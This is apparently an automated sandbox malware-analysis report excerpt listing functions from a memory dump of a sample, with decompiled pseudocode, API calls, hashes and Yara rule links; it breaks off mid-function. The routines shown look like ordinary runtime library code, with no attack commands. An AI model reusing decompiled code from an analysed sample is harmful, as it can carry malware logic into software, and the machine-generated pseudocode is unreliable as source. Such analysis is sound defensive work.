Function 00B6BC90 Relevance: 1.5, APIs: 1, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00B6BCAC

Part of subcall function 00C86445: __FF_MSGBANNER.LIBCMT ref: 00C8645C
Part of subcall function 00C86445: __NMSG_WRITE.LIBCMT ref: 00C86463
Part of subcall function 00C86445: RtlAllocateHeap.NTDLL(00940000,00000000,00000001), ref: 00C86488

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 6dccc98b45e986ae4eec6b292d7b70556cebf4eb5b6d9afc06fbb67c46c7bdcc
Instruction ID: 52586c23938b4eb64a9f39c9e5e67b6df16915139f858466507ce5540ef902e2
Opcode Fuzzy Hash: 6dccc98b45e986ae4eec6b292d7b70556cebf4eb5b6d9afc06fbb67c46c7bdcc
Instruction Fuzzy Hash: 2CD05E3624562667DB11ABA9EC01D5EB7E8DB417E170400B2FD04DA250EF56CE8057E0

Uniqueness

Uniqueness Score: -1.00%

Function 00B6D289 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00B6D289(void* __ebx, intOrPtr* __ecx, void* __esi) {
				intOrPtr* _t13;
				void* _t15;

				_t12 = __ecx;
				0xc81539(8);
				_t13 = __ecx;
				if( *__ecx == 0) {
					E00B6F0EC(__ebx, __ecx, __esi, 0x10);
					 *(_t15 - 4) =  *(_t15 - 4) & 0x00000000;
					if( *__ecx == 0) {
						 *__ecx =  *((intOrPtr*)(_t15 + 8))();
					}
					 *(_t15 - 4) =  *(_t15 - 4) | 0xffffffff;
					E00B6F161(_t12, 0x10);
				}
				0xc8149e();
				return  *_t13;
			}

0x00b6d289
0x00b6d290
0x00b6d295
0x00b6d29a
0x00b6d29e
0x00b6d2a3
0x00b6d2aa
0x00b6d2af
0x00b6d2af
0x00b6d2b1
0x00b6d2b7
0x00b6d2b7
0x00b6d2be
0x00b6d2c3

APIs

__EH_prolog3_catch.LIBCMT ref: 00B6D290

Part of subcall function 00B6F0EC: RtlEnterCriticalSection.NTDLL(00D6B598), ref: 00B6F11B
Part of subcall function 00B6F0EC: RtlInitializeCriticalSection.NTDLL(00000000), ref: 00B6F131
Part of subcall function 00B6F0EC: RtlLeaveCriticalSection.NTDLL(00D6B598), ref: 00B6F143
Part of subcall function 00B6F0EC: RtlEnterCriticalSection.NTDLL(00000000), ref: 00B6F14F

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: CriticalSection$Enter$H_prolog3_catchInitializeLeave
String ID:
API String ID: 1641187343-0
Opcode ID: 4ec27a25c440fb65ad27f643382d36fada03700bf643446f7886c33a22714600
Instruction ID: 3a6b60465a706c36ef7764728c3e7f9ac9e1bfd38478a5fe52fd92514f02ef12
Opcode Fuzzy Hash: 4ec27a25c440fb65ad27f643382d36fada03700bf643446f7886c33a22714600
Instruction Fuzzy Hash: F5E08671A0020BDBEB407FB0C40275C77E0BF11725F204175F541662C1DBF48991EB21

Uniqueness

Uniqueness Score: -1.00%

Function 00C80C9D Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 00C89D50: __lock.LIBCMT ref: 00C89D52

__onexit_nolock.LIBCMT ref: 00C80CB9

Part of subcall function 00C80CE1: RtlDecodePointer.NTDLL ref: 00C80CF4
Part of subcall function 00C80CE1: RtlDecodePointer.NTDLL ref: 00C80CFF
Part of subcall function 00C80CE1: __realloc_crt.LIBCMT ref: 00C80D40
Part of subcall function 00C80CE1: __realloc_crt.LIBCMT ref: 00C80D54
Part of subcall function 00C80CE1: RtlEncodePointer.NTDLL(00000000), ref: 00C80D66
Part of subcall function 00C80CE1: RtlEncodePointer.NTDLL(?), ref: 00C80D74
Part of subcall function 00C80CE1: RtlEncodePointer.NTDLL(00000000), ref: 00C80D80

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: a17eb034b37f0b64bbd6e5bc7d83679e36f92ea0480ce1ce212dfd3025756244
Instruction ID: 52ff4599d7f60f92b138c5c2d0037ecc96961d1023ef8886b0fea4b35ee7c0cf
Opcode Fuzzy Hash: a17eb034b37f0b64bbd6e5bc7d83679e36f92ea0480ce1ce212dfd3025756244
Instruction Fuzzy Hash: 5AD01271D00615EFDB51BFA4C84276C76A0AF0073BF244245F415761D3CBB44606BB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00B92F84 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B92F84(void* __ecx, void* _a4) {
				void* _t3;
				int _t4;

				_t3 = _a4;
				if( *((intOrPtr*)(__ecx + 0x17c)) == 0) {
					 *_t3 = 0x1f4;
				}
				_t4 = SystemParametersInfoW(0x29,  *_t3, _t3, 0); // executed
				return _t4;
			}

0x00b92f8e
0x00b92f91
0x00b92f93
0x00b92f93
0x00b92fa0
0x00b92fa7

APIs

SystemParametersInfoW.USER32(00000029,?,?,00000000), ref: 00B92FA0

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: cd6963b38c9aaa1b95a5ad6e0ab9a8fd79d506dfacc8521c5b355ef570f9c587
Instruction ID: 9338e8098146149becdfbe23339e1885d61d516b76c20bfb223897ddb6126739
Opcode Fuzzy Hash: cd6963b38c9aaa1b95a5ad6e0ab9a8fd79d506dfacc8521c5b355ef570f9c587
Instruction Fuzzy Hash: 37D012B0140304EFE7019F81DC09FA637B8EB15705F444475F6088E1A1D7B26810CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00CA96F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00CA9709

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6d18c3032626e2f09954a7729fdf83aa5e605a8a256945f7cd3918177ff71c4e
Instruction ID: 3e6b2bdc58cda4db219c4e8b7d543ee72e1b568baa4c411b9ad89fb3be67732a
Opcode Fuzzy Hash: 6d18c3032626e2f09954a7729fdf83aa5e605a8a256945f7cd3918177ff71c4e
Instruction Fuzzy Hash: 45C04C7245024CBBCF055FC9EC51C593B69AB48714F448414F91C45231D773A670EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CC6675 Relevance: 1.5, APIs: 1, Instructions: 9COMMONLIBRARYCODE

Download Yara Rule

APIs

mtx_do_lock.LIBCPMT ref: 00CC667D

Part of subcall function 00CC64B1: GetCurrentThreadId.KERNEL32 ref: 00CC64E0
Part of subcall function 00CC64B1: Concurrency::critical_section::lock.LIBCMT ref: 00CC64EA
Part of subcall function 00CC64B1: GetCurrentThreadId.KERNEL32 ref: 00CC64EF

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: CurrentThread$Concurrency::critical_section::lockmtx_do_lock
String ID:
API String ID: 3783503772-0
Opcode ID: afe7df3d28b4959e0b794dc520734ee250ff84668c96b26955b8cc05fc25ab1a
Instruction ID: f6a52bb713de978d6fd3f4681437f93bdec8d1a04d132a3aaf0296d9d64c2ca6
Opcode Fuzzy Hash: afe7df3d28b4959e0b794dc520734ee250ff84668c96b26955b8cc05fc25ab1a
Instruction Fuzzy Hash: 5EB0123204C70C7AEA086551FC03F043B8CC740670E60401AF90C091D16D537451108C

Uniqueness

Uniqueness Score: -1.00%

Function 00B7A9E6 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B7A9E6(void* __ecx) {
				int _t3;
				void* _t5;
				void* _t7;

				if( *((intOrPtr*)(__ecx + 4)) != 0) {
					_t3 = DeleteObject(E00B7AA2D(_t5, __ecx, _t7)); // executed
					return _t3;
				} else {
					return 0;
				}
			}

0x00b7a9ea
0x00b7a9f5
0x00b7a9fb
0x00b7a9ec
0x00b7a9ee
0x00b7a9ee

APIs

DeleteObject.GDI32(00000000), ref: 00B7A9F5

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: 4f409a43e2642be65453d4893090008a46b69877d61fa93bf92cb1cde0a32777
Instruction ID: c3eb9356961a5f0b7a96fa2f0f363c2891a1ef45f0c5b4fa671f4661b0697a82
Opcode Fuzzy Hash: 4f409a43e2642be65453d4893090008a46b69877d61fa93bf92cb1cde0a32777
Instruction Fuzzy Hash: 30B092B3812108AEDE80A7308A0975E3594ABC0306F10C8E8E01A86047EA398161C605

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B4F247 Relevance: 18.4, APIs: 5, Strings: 5, Instructions: 901
COMMONCrypto

Download Yara Rule

C-Code - Quality: 62%

			E00B4F247(void* __fp0, signed int _a4, char* _a8, signed int _a12) {
				signed int _v8;
				signed int _v80;
				char _v81;
				signed char _v82;
				signed char _v83;
				signed char _v84;
				signed int _v88;
				signed int _v92;
				signed char _v93;
				signed int _v94;
				signed char _v95;
				void* _v96;
				signed char _v97;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				void* _v117;
				char _v118;
				char* _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				char _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				void _v172;
				signed int _v176;
				char* _v180;
				signed int _v184;
				signed int _t393;
				signed char _t396;
				signed int _t397;
				void* _t401;
				signed int _t402;
				signed int _t403;
				signed int _t404;
				void* _t455;
				void* _t457;
				void* _t458;
				void* _t460;
				char _t462;
				signed char _t466;
				signed int _t468;
				char* _t471;
				char* _t474;
				char* _t475;
				signed char _t476;
				char* _t496;
				char* _t497;
				char* _t498;
				char* _t499;
				char _t507;
				signed int _t509;
				char* _t523;
				signed int _t525;
				signed int _t527;
				signed int _t533;
				signed int _t536;
				signed int _t537;
				signed int _t538;
				void* _t539;

				_t393 =  *0xd62790; // 0x7014776
				_v8 = _t393 ^ _t538;
				_t506 = _a4;
				_v136 = _v136 & 0;
				_t471 = _a8;
				_t525 = _a12;
				_v148 = 0;
				_t8 = _t506 + 0x19; // 0xd6075405
				_t396 =  *_t8;
				_v132 = _a4;
				_v88 = _t525;
				_v97 = _t396;
				if(_t396 == 0) {
					_v97 = 0;
					_v84 = 0;
				} else {
					_t466 = _t396 & 0x00000002;
					_v84 = _t466;
					if(_t466 != 0) {
						_t468 =  *_t525;
						_t525 = _t525 + 4;
						_v136 = _t468;
						_t466 = _v97;
						_v88 = _t525;
					}
					_v97 = _t466 & 0x00000001;
				}
				_t397 =  *_t471;
				if(_t397 == 0) {
					L297:
					0xc8142c();
					return _t397;
				} else {
					_v180 = 0xcf7388;
					_v172 = 6;
					_v176 = 0x80000000;
					_v156 = 0xa;
					_v160 = 0x15e;
					_v164 = 0x64;
					L7:
					while(1) {
						L7:
						if(_t397 == 0x25) {
							L12:
							_t474 = _t471 + 1;
							_t507 =  *_t474;
							if(_t507 == 0) {
								_t397 = E00B4D8B5(_v132, "%", 1);
								goto L297;
							} else {
								_v117 = 0;
								_v96 = 0;
								_v94 = 0;
								_v93 = 0;
								_v118 = 0;
								_v81 = 0;
								do {
									_t401 = _t507 - 0x20;
									if(_t401 == 0) {
										_v93 = 1;
										goto L26;
									}
									_t455 = _t401 - 1;
									if(_t455 == 0) {
										_v96 = 1;
										goto L26;
									}
									_t457 = _t455;
									if(_t457 == 0) {
										_v94 = 1;
										goto L26;
									}
									_t458 = _t457 - 8;
									if(_t458 == 0) {
										_v118 = 1;
										goto L26;
									}
									_t460 = _t458;
									if(_t460 == 0) {
										_v81 = 1;
										goto L26;
									}
									if(_t460 != 3) {
										break;
									} else {
										_v117 = 1;
									}
									L26:
									_t474 = _t474 + 1;
									_t507 =  *_t474;
								} while (_t507 != 0);
								_v124 = _t474;
								if(_t507 != 0x2a) {
									_t402 = 0;
									if(_t507 < 0x30) {
										L38:
										_t403 = _t402 & 0x7fffffff;
										_v108 = _t403;
										L39:
										if(_t507 != 0x2e) {
											_t404 = _t403 | 0xffffffff;
											L52:
											_v112 = _t404;
											L53:
											if(_t507 != 0x6c) {
												_v82 = 0;
												_v95 = 0;
											} else {
												_t496 = _v124 + 1;
												_v95 = 1;
												_v124 = _t496;
												_t507 =  *_t496;
												if(_t507 != 0x6c) {
													_v82 = 0;
												} else {
													_t497 = _t496 + 1;
													_v82 = 1;
													_v124 = _t497;
													_t507 =  *_t497;
												}
											}
											_t475 = _v180;
											_t527 = 0;
											_v128 = _t475;
											_v83 = 0x10;
											while(1) {
												_t397 =  *_t475;
												if(_t507 == _t397) {
													break;
												}
												_t475 = _t475 + _v172;
												_t527 = _t527 + 1;
												if(_t475 < 0xcf7412) {
													continue;
												}
												_t476 = _v83;
												_t509 = _v128;
												L65:
												_t397 = _t476 & 0x000000ff;
												if(_t397 > 0xf) {
													goto L297;
												}
												switch( *((intOrPtr*)(_t397 * 4 +  &M00B4FF5F))) {
													case 0:
														__al = _v82;
														__cl = _v95;
														goto L69;
													case 1:
														__eflags = _v84;
														if(_v84 == 0) {
															__eax = _v88;
															__eax = _v88 + 8;
															_v88 = __eax;
															asm("movsd xmm1, [eax-0x8]");
														} else {
															__esi = _v136;
															__edx =  *(__esi + 4);
															__eflags =  *__esi - __edx;
															if( *__esi > __edx) {
																__eax =  *(__esi + 8);
																__ecx =  *( *(__esi + 8) + __edx * 4);
																__eax = __edx + 1;
																 *(__esi + 4) = __edx + 1;
																__eax = E00B578F7( *( *(__esi + 8) + __edx * 4),  *( *(__esi + 8) + __edx * 4));
																__cl = _v83;
																_v144 = __fp0;
																asm("movsd xmm1, [ebp-0x8c]");
															} else {
																asm("xorps xmm1, xmm1");
															}
														}
														__edx = _v112;
														asm("xorps xmm2, xmm2");
														__eflags = __edx;
														asm("movsd [ebp-0x8c], xmm1");
														__edx =  <  ? _v172 : __edx;
														asm("comisd xmm2, xmm1");
														_v112 = __edx;
														if(__eflags <= 0) {
															__eflags = _v118;
															if(_v118 == 0) {
																__eflags = _v93;
																__eax = __eax & 0xffffff00 | _v93 == 0x00000000;
																__al = __al - 1;
																__al = __al & 0x00000020;
																__eflags = __al;
																_v82 = __al;
															} else {
																_v82 = 0x2b;
															}
														} else {
															asm("xorpd xmm1, [0xcfdab0]");
															asm("movsd [ebp-0x8c], xmm1");
															_v82 = 0x2d;
														}
														__eflags = __cl - 3;
														if(__cl == 3) {
															__eflags = __edx;
															if(__edx > 0) {
																__edx = __edx - 1;
																__eflags = __edx;
																_v112 = __edx;
															}
														}
														asm("movsd xmm3, [0xcfd998]");
														__eax = __edx;
														__eax = __edx & 0x00000fff;
														__eflags = __eax;
														if(__eax <= 0) {
															L151:
															__eflags = __cl - 1;
															if(__cl == 1) {
																asm("movapd xmm0, xmm3");
																asm("addsd xmm0, xmm1");
																asm("movapd xmm1, xmm0");
																asm("movsd [ebp-0x8c], xmm1");
															}
															__ecx = 0;
															_push(0);
															_push(0);
															_v116 = 0;
															asm("movsd [esp], xmm1");
															__eax = E00B446CB(__eax, 0);
															__esp = __esp + 8;
															__eflags = __eax;
															if(__eflags == 0) {
																asm("comisd xmm1, xmm2");
																if(__eflags <= 0) {
																	asm("movsd xmm4, [0xcfd9b0]");
																	L179:
																	__al = _v83;
																	__esi =  &_v80;
																	__eflags = __al - 1;
																	if(__eflags != 0) {
																		asm("addsd xmm3, xmm1");
																		asm("comisd xmm3, xmm4");
																		asm("movsd [ebp-0x8c], xmm3");
																		if(__eflags >= 0) {
																			asm("mulsd xmm3, [0xcfd990]");
																			__ecx = __ecx + 1;
																			_v116 = __ecx;
																			asm("movsd [ebp-0x8c], xmm3");
																		}
																	}
																	__eflags = __al - 3;
																	if(__al != 3) {
																		__dl = _v96;
																		_v95 = __dl;
																		__eflags = __al - 2;
																		if(__al != 2) {
																			goto L189;
																		}
																		goto L188;
																	} else {
																		__eflags = _v94;
																		_v95 = _v94 == 0;
																		__eflags = __ecx - 0xfffffffc;
																		if(__ecx < 0xfffffffc) {
																			L186:
																			_v83 = 2;
																			L188:
																			__ecx = 0;
																			__eflags = 0;
																			L189:
																			__eax = 0;
																			_v104 = __ecx;
																			__eflags = __ecx;
																			__eax =  >  ? __ecx : 0;
																			asm("cdq");
																			__edi =  >  ? __ecx : 0;
																			_v92 = __edx;
																			__eax = _v112;
																			asm("cdq");
																			__edi = ( >  ? __ecx : 0) + _v112;
																			__eax = _v108;
																			asm("adc [ebp-0x58], edx");
																			asm("cdq");
																			__edi =  &((( >  ? __ecx : 0) + _v112)[_v108]);
																			__eflags = __edi;
																			__eax = _v92;
																			asm("adc eax, edx");
																			if(__eflags < 0) {
																				L194:
																				__dh = _v96;
																				__edi = _v112;
																				__dh & 0x000000ff = (__dh & 0x000000ff) * 0xa;
																				_v92 = __esi;
																				__eax = 0x10 + (__dh & 0x000000ff) * 0xa;
																				__eflags = __edi;
																				_v152 = 0x10 + (__dh & 0x000000ff) * 0xa;
																				__al = _v82;
																				__edx = __edx & 0xffffff00 | __edi > 0x00000000;
																				__dl = __dl | __dh;
																				__dl = __dl | _v94;
																				_v93 = __dl;
																				__eflags = __al;
																				if(__al != 0) {
																					 *__esi = __al;
																					__esi = __esi + 1;
																					__eflags = __esi;
																				}
																				__eflags = __ecx;
																				if(__ecx >= 0) {
																					do {
																						 &_v152 =  &_v144;
																						__eax = E00B27574( &_v144,  &_v152);
																						_pop(__ecx);
																						_pop(__ecx);
																						__ecx = _v104;
																						 *__esi = __al;
																						__esi = __esi + 1;
																						__ecx = _v104 - 1;
																						__eflags = __ecx;
																						_v104 = __ecx;
																					} while (__ecx >= 0);
																					goto L199;
																				} else {
																					 *__esi = 0x30;
																					__esi = __esi + 1;
																					L199:
																					__eflags = __dl;
																					if(__dl != 0) {
																						 *__esi = 0x2e;
																						__esi = __esi + 1;
																						__eflags = __esi;
																					}
																					__ecx = __ecx + 1;
																					__eflags = __ecx;
																					if(__ecx < 0) {
																						__ecx =  ~__ecx;
																						_push(__ecx);
																						_push(0x30);
																						_push(__esi);
																						_v104 = __ecx;
																						0xc83f30();
																						__esi = __esi + _v104;
																						__esp = __esp + 0xc;
																						__edi = __edi - _v104;
																						__dl = _v93;
																						__dh = _v96;
																					}
																					while(1) {
																						__eflags = __edi;
																						if(__edi <= 0) {
																							break;
																						}
																						__eax =  &_v152;
																						__edi = __edi - 1;
																						 &_v144 = E00B27574( &_v144,  &_v152);
																						_pop(__ecx);
																						 *__esi = __al;
																						__esi = __esi + 1;
																						__eflags = __esi;
																						_pop(__ecx);
																					}
																					__eflags = _v95;
																					if(_v95 == 0) {
																						L214:
																						__eflags = _v83 - 2;
																						if(_v83 == 2) {
																							__eax = _v128;
																							__edx = _v116;
																							__eax =  *(_v128 + 4) & 0x000000ff;
																							__al =  *((intOrPtr*)(( *(_v128 + 4) & 0x000000ff) + "0123456789ABCDEF0123456789abcdef"));
																							 *__esi = __al;
																							__eflags = __edx;
																							if(__edx >= 0) {
																								 *(__esi + 1) = 0x2b;
																								__esi = __esi + 2;
																								__eflags = __esi;
																							} else {
																								 *(__esi + 1) = 0x2d;
																								__esi = __esi + 2;
																								__edx =  ~__edx;
																							}
																							__ecx = _v164;
																							__eflags = __edx - __ecx;
																							if(__edx >= __ecx) {
																								__eax = __edx;
																								asm("cdq");
																								_t264 = __eax % __ecx;
																								__eax = __eax / __ecx;
																								__edx = _t264;
																								__al = __al + 0x30;
																								 *__esi = __al;
																								__esi = __esi + 1;
																								__eflags = __esi;
																							}
																							__eax = __edx;
																							asm("cdq");
																							_t269 = __eax % _v156;
																							__eax = __eax / _v156;
																							__edx = _t269;
																							__al = __al + 0x30;
																							__dl = __dl + 0x30;
																							 *__esi = __al;
																							 *(__esi + 1) = __dl;
																							__esi = __esi + 2;
																							__eflags = __esi;
																						}
																						__ecx = _v92;
																						__al = _v117;
																						 *__esi = 0;
																						__esi = __esi - __ecx;
																						__eflags = __al;
																						if(__al == 0) {
																							goto L124;
																						} else {
																							__dl = _v81;
																							__eflags = __dl;
																							if(__dl != 0) {
																								L294:
																								__edi = _v92;
																								goto L126;
																							}
																							__edi = _v108;
																							__eflags = __esi - __edi;
																							if(__esi >= __edi) {
																								goto L294;
																							}
																							__edx = __edi;
																							__edx = __edi - __esi;
																							__esi = __edi;
																							__eflags = __edi - __edx;
																							if(__edi < __edx) {
																								L228:
																								__eax = 0;
																								__eflags = _v82 - __al;
																								__eax = 0 | _v82 != __al;
																								__eflags = __edx;
																								if(__edx != 0) {
																									_push(__edx);
																									__eax = __eax + __ecx;
																									__eflags = __eax;
																									_push(0x30);
																									_push(__eax);
																									0xc83f30();
																									__esp = __esp + 0xc;
																								}
																								__esi = __edi;
																								goto L124;
																							}
																							__edi = __ecx;
																							__edi = __ecx - __edx;
																							__eflags = __edi;
																							do {
																								__al = __edi[__esi];
																								 *(__esi + __ecx) = __al;
																								__esi = __esi - 1;
																								__eflags = __esi - __edx;
																							} while (__esi >= __edx);
																							__edi = _v108;
																							goto L228;
																						}
																					}
																					__eflags = __dl;
																					if(__dl == 0) {
																						goto L214;
																					}
																					while(1) {
																						__eax = __esi - 1;
																						__eflags =  *__eax - 0x30;
																						if( *__eax != 0x30) {
																							break;
																						}
																						__esi = __eax;
																						 *__esi = 0;
																					}
																					__eflags =  *(__esi - 1) - 0x2e;
																					if( *(__esi - 1) == 0x2e) {
																						__eflags = __dh;
																						if(__dh == 0) {
																							__esi = __esi - 1;
																							__eflags = __esi;
																							 *__esi = 0;
																						} else {
																							 *__esi = 0x30;
																							__esi = __esi + 1;
																						}
																					}
																					goto L214;
																				}
																			}
																			if(__eflags > 0) {
																				L192:
																				__edi =  &(__edi[0xf]);
																				asm("adc eax, 0x0");
																				__eax = E00B4528D(__edi, __eax);
																				_v148 = __eax;
																				__esi = __eax;
																				_pop(__ecx);
																				_pop(__ecx);
																				__eflags = __eax;
																				if(__eax == 0) {
																					goto L295;
																				}
																				__ecx = _v104;
																				goto L194;
																			}
																			__eflags = __edi - 0x37;
																			if(__edi <= 0x37) {
																				goto L194;
																			}
																			goto L192;
																		}
																		__eflags = __ecx - __edx;
																		if(__ecx > __edx) {
																			goto L186;
																		}
																		__edx = __edx - __ecx;
																		_v83 = 1;
																		_v112 = __edx;
																		goto L189;
																	}
																}
																asm("movsd xmm4, [0xcfda60]");
																asm("comisd xmm1, xmm4");
																__eax = _v160;
																asm("movsd xmm5, [0xcfd9a0]");
																asm("movapd xmm2, xmm5");
																if(__eflags < 0) {
																	L161:
																	asm("movsd xmm4, [0xcfda40]");
																	asm("movapd xmm0, xmm2");
																	asm("mulsd xmm0, xmm4");
																	asm("comisd xmm1, xmm0");
																	if(__eflags < 0) {
																		L166:
																		asm("movsd xmm4, [0xcfd9b0]");
																		asm("movapd xmm0, xmm2");
																		asm("mulsd xmm0, xmm4");
																		asm("comisd xmm1, xmm0");
																		if(__eflags < 0) {
																			L170:
																			asm("divsd xmm1, xmm2");
																			asm("movsd xmm0, [0xcfd988]");
																			asm("comisd xmm0, xmm1");
																			asm("movsd [ebp-0x8c], xmm1");
																			if(__eflags <= 0) {
																				L173:
																				asm("comisd xmm5, xmm1");
																				if(__eflags <= 0) {
																					L176:
																					__eflags = __ecx - __eax;
